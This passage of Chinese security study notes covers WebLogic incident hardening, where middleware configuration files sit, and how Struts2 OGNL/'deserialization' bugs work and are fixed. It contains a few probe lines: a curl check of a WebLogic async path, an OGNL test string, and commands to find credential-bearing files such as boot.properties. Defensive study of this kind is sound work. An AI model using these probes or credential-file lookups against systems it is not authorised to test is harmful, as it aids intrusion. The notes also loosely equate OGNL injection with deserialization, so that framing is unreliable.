# 测试HTTP漏洞路径是否被拦截
curl -I http://IP:7001/_async/AsyncResponseService
# 预期返回404或403

五、后续加固与长期防御

架构优化

- 微服务拆分：将 WebLogic 服务与核心业务解耦，通过 API 网关统一管理入口流量。
- 容器化部署：使用 Docker 或 Kubernetes，限制容器资源访问权限。

持续监控

- 入侵检测：部署 WAF（如阿里云 WAF）或 IPS（如深信服 AF），启用反序列化攻击特征库1022。
- 蜜罐诱捕：在 DMZ 区部署 WebLogic 蜜罐，捕获攻击行为并分析漏洞利用手法。

应急演练

- 模拟攻击：每季度使用CVE-2019-2725等历史漏洞 PoC 验证防御措施有效性。
- 团队协作：安全、运维、开发团队联合制定响应流程，明确各环节责任人。

六、案例参考与数据支持

历史漏洞影响：2023 年某金融机构因未及时修复 WebLogic 0day 漏洞，导致核心数据库被窃取，直接损失超千万元5。
防御效果：某电商平台通过配置 WAF 拦截/_async/*路径，在漏洞爆发期间成功阻断 83% 的攻击尝试12。

通过以上步骤，可在最短时间内完成漏洞排查、风险隔离与应急响应，同时为长期防御奠定基础。关键在于快速定位漏洞特征、分层实施防御、加强跨团队协作。

8.常见的中间件的配置文件

一、Java 应用服务器

1. Tomcat

核心配置：conf/server.xml（端口、连接器、虚拟主机等）
Web 应用配置：webapps/[应用名]/WEB-INF/web.xml
日志配置：conf/logging.properties
默认路径：

- Linux：/usr/local/tomcat/conf
- Windows：C:\\Tomcat\\conf

特殊场景：

- 多实例部署时，配置文件位于CATALINA_BASE/conf
- 通过find / -name server.xml快速定位7

2. WebLogic

域配置：DOMAIN_HOME/config/config.xml（域名称、服务器实例、数据源等）
安全配置：DOMAIN_HOME/security/boot.properties（管理员密码）
日志配置：DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log
默认路径：

- Linux：/u01/oracle/user_projects/domains/base_domain
- Windows：C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain

定位技巧：

- 查看DOMAIN_HOME/servers/AdminServer/data/nodemanager/nm_password.properties获取加密密码
- 通过grep -r "weblogic.security"搜索敏感配置5

3. JBoss/WildFly

核心配置：standalone/configuration/standalone.xml（端口、数据源、集群等）
部署描述符：standalone/deployments/[应用名].war/WEB-INF/jboss-web.xml
默认路径：

- Linux：/opt/jboss/wildfly/standalone/configuration
- Windows：C:\\JBoss\\wildfly\\standalone\\configuration

安全加固：

- 禁用management接口的 0.0.0.0 绑定，修改standalone.xml中的jboss.bind.address.management为可信 IP
- 移除web-console和admin-console等管理组件12

4. GlassFish

域配置：glassfish/domains/domain1/config/domain.xml（域名称、服务器实例、资源池等）
日志配置：glassfish/domains/domain1/logs/server.log
默认路径：

- Linux：/opt/glassfish5/glassfish/domains
- Windows：C:\\glassfish5\\glassfish\\domains

注意事项：

- 管理控制台默认端口为 4848，配置文件包含admin-password加密字段
- 通过asadmin命令行工具修改配置更安全18

二、Web 服务器

1. Apache HTTP Server

主配置：conf/httpd.conf（全局设置、模块加载）
虚拟主机：conf/extra/httpd-vhosts.conf
日志路径：

- Linux：/var/log/httpd/access_log
- Windows：C:\\Apache24\\logs\\access.log

默认路径：

- Linux：/etc/httpd/conf
- Windows：C:\\Apache24\\conf

快速验证：

- 检查LoadModule指令是否加载了mod_rewrite等敏感模块
- 通过apachectl -t验证配置文件语法1

2. Nginx

主配置：nginx.conf（全局设置、HTTP 服务器）
虚拟主机：conf.d/*.conf
日志路径：

- Linux：/var/log/nginx/access.log
- Windows：C:\\nginx\\logs\\access.log

默认路径：

- Linux（apt 安装）：/etc/nginx
- Linux（源码安装）：/usr/local/nginx/conf
- Windows：C:\\nginx\\conf

安全建议：

- 禁用autoindex防止目录遍历
- 限制client_max_body_size防御上传攻击13

3. IIS

主配置：%windir%\\system32\\inetsrv\\config\\applicationHost.config（站点、应用池、认证）
日志路径：%windir%\\inetpub\\logs\\LogFiles
默认路径：

- Windows：C:\\inetpub\\wwwroot

管理工具：

- 通过IIS Manager图形界面修改配置更安全
- 检查%windir%\\system32\\inetsrv\\config\\Schema目录下的 XML 文件9

三、轻量级服务器

1. Jetty

核心配置：etc/jetty.xml（端口、连接器、虚拟主机）
Web 应用配置：webapps/[应用名]/WEB-INF/webdefault.xml
默认路径：

- Linux：/opt/jetty/etc
- Windows：C:\\jetty\\etc

启动参数：

- 通过java -jar start.jar –add-to-startd=logging动态加载模块
- 修改start.ini配置端口和部署目录19

2. TomEE

核心配置：conf/server.xml（兼容 Tomcat 配置）
JPA 配置：conf/tomee.xml
默认路径：

- Linux：/usr/local/tomee/conf
- Windows：C:\\tomee\\conf

四、Docker 环境

通用方法：

- 通过docker inspect [容器ID]查看挂载卷
- 使用docker cp [容器ID]:/path/to/config .复制配置文件

示例：

- Nginx：docker run –rm -it nginx /bin/bash → 配置文件在/etc/nginx
- Redis：docker run –rm -it redis /bin/bash → 配置文件在/usr/local/etc/redis/redis.conf

最佳实践：

- 挂载宿主机目录到容器配置路径（如-v /host/nginx.conf:/etc/nginx/nginx.conf）
- 避免直接修改容器内配置文件21

五、配置文件安全审计要点

敏感信息泄露：

- 检查server.xml、config.xml中的password字段是否加密
- 确认boot.properties（WebLogic）未明文存储管理员密码5

未授权访问：

- 验证jboss-web.xml是否配置security-constraint
- 检查httpd.conf是否限制了/manager/html等管理路径

服务暴露：

- 确认standalone.xml（WildFly）未绑定0.0.0.0到管理端口
- 检查nginx.conf是否禁用了OPTIONS方法

日志配置：

- 确保logging.properties（Tomcat）记录ERROR及以上级别日志
- 验证log4j.xml（JBoss）未配置DEBUG级别16

六、快速定位技巧

Linux 命令行：bash

# 查找Tomcat配置文件
find / -name server.xml 2>/dev/null

# 查找WebLogic域目录
find / -name config.xml 2>/dev/null | grep -i "domains"

# 查找Nginx配置文件
locate nginx.conf

Windows 命令行：cmd

# 查找IIS配置文件
dir /s applicationHost.config

# 查找Tomcat配置文件
where /r C:\\ server.xml

通过以上路径和技巧，可快速定位中间件配置文件，并结合安全审计工具（如 Nessus、OWASP ZAP）进行深度分析。对于 0day 漏洞应急响应，建议优先通过配置文件确认中间件版本和组件状态，再结合漏洞特征制定防御策略。

9.Strusts2反序列化漏洞

Struts2 是一个基于 MVC（Model-View-Controller）架构的 Java Web 应用框架，在开发企业级 Web 应用时被广泛使用。然而，由于其自身设计和实现上的一些问题，Struts2 存在反序列化漏洞，攻击者可借此在目标服务器上执行任意代码，以下是关于该漏洞的详细介绍：

漏洞原理

Struts2 框架在处理 HTTP 请求时，会将请求中的参数进行反序列化操作。正常情况下，这些参数应该是符合预期的数据。但如果框架在反序列化过程中，没有对输入数据进行严格的验证和过滤，攻击者就可以构造恶意的序列化数据作为请求参数发送给服务器。服务器在对这些恶意数据进行反序列化时，会触发其中包含的恶意代码，从而实现任意代码执行。

常见漏洞类型及特点

1. OGNL 表达式注入类漏洞

Struts2 使用 OGNL（Object Graph Navigation Language）来处理表达式和访问对象属性。如果对用户输入的 OGNL 表达式没有进行严格过滤，攻击者可以注入恶意的 OGNL 表达式。例如在 S2 – 001 漏洞中，攻击者通过构造包含恶意代码的 OGNL 表达式，让服务器执行任意命令。

2. 标签处理漏洞

Struts2 中的一些标签（如重定向标签）在处理用户输入时，如果没有进行严格的验证，攻击者可以构造特殊的输入触发反序列化漏洞。以 S2 – 016 漏洞为例，它利用redirect:、redirectAction:等重定向标签对用户输入的重定向 URL 未严格验证的问题，实现任意代码执行。

3. 请求头处理漏洞

在处理请求头时，若 Struts2 框架存在缺陷，攻击者可以构造特殊的请求头来触发反序列化漏洞。S2 – 045 漏洞就是因为框架在处理Content-Type请求头时存在漏洞，攻击者通过构造恶意的Content-Type值来执行任意代码。

常见影响版本

不同编号的 Struts2 反序列化漏洞影响的版本范围有所不同：

S2 – 001（CVE – 2007 – 5654）：影响 Struts 2.0.0 – 2.0.8 版本。
S2 – 005（CVE – 2008 – 3933）：影响 Struts 2.0.0 – 2.0.11.2 版本。
S2 – 016（CVE – 2013 – 2251）：影响 Struts 2.0.0 – 2.3.15 版本。
S2 – 045（CVE – 2017 – 5638）：影响 Struts 2.3.5 – 2.3.31 以及 Struts 2.5 – 2.5.10 版本。

漏洞危害

数据泄露：攻击者可以通过执行任意代码，读取服务器上的敏感文件，如数据库配置文件、用户信息文件等，导致企业或用户的敏感数据泄露。
服务器被控制：攻击者可以在服务器上执行系统命令，如添加用户、安装后门程序等，从而完全控制服务器，进一步对企业的网络进行攻击。
业务中断：攻击者可以破坏服务器上的应用程序或数据，导致企业的业务系统无法正常运行，给企业带来经济损失。

检测方法

1. 手动检测

构造测试表达式：在请求参数中插入简单的 OGNL 测试表达式，如%{1+1}，如果服务器返回结果中包含计算结果2，则可能存在反序列化漏洞。
分析错误信息：发送异常请求，观察服务器返回的错误信息。若错误信息包含与 Struts2 框架相关的内容，如 OGNL 表达式解析错误等，可能存在漏洞。

2. 工具检测

Nessus：一款专业的漏洞扫描器，拥有针对 Struts2 反序列化漏洞的检测插件，能对目标服务器进行全面扫描。
AWVS（Acunetix Web Vulnerability Scanner）：可自动检测 Web 应用中的各种安全漏洞，包括 Struts2 反序列化漏洞。

修复方案

1. 升级框架版本

及时关注 Struts2 官方发布的安全公告，将框架升级到最新的安全版本。例如，对于 S2 – 045 漏洞，将 Struts2 框架升级到 2.3.32 或 2.5.10.1 及以上版本可修复该漏洞。

2. 输入验证和过滤

在应用程序中对用户输入进行严格的验证和过滤，防止将用户输入直接用于反序列化操作。可以使用正则表达式等方法对输入进行检查，只允许合法的字符和格式。

3. 配置安全策略

限制 Struts2 框架的一些危险功能，如禁用 OGNL 表达式的执行、限制重定向的 URL 范围等。可以通过修改 Struts2 的配置文件（如struts.xml）来实现这些安全策略。

防护建议

建立应急响应机制：制定完善的应急响应预案，当发现 Struts2 反序列化漏洞时，能够迅速采取措施进行处理，减少损失。
定期安全评估：定期对 Web 应用进行安全评估和漏洞扫描，及时发现和修复潜在的安全问题。
加强员工安全意识培训：提高开发人员和运维人员的安全意识，使其了解 Struts2 反序列化漏洞的原理和危害，在开发和运维过程中采取相应的安全措施。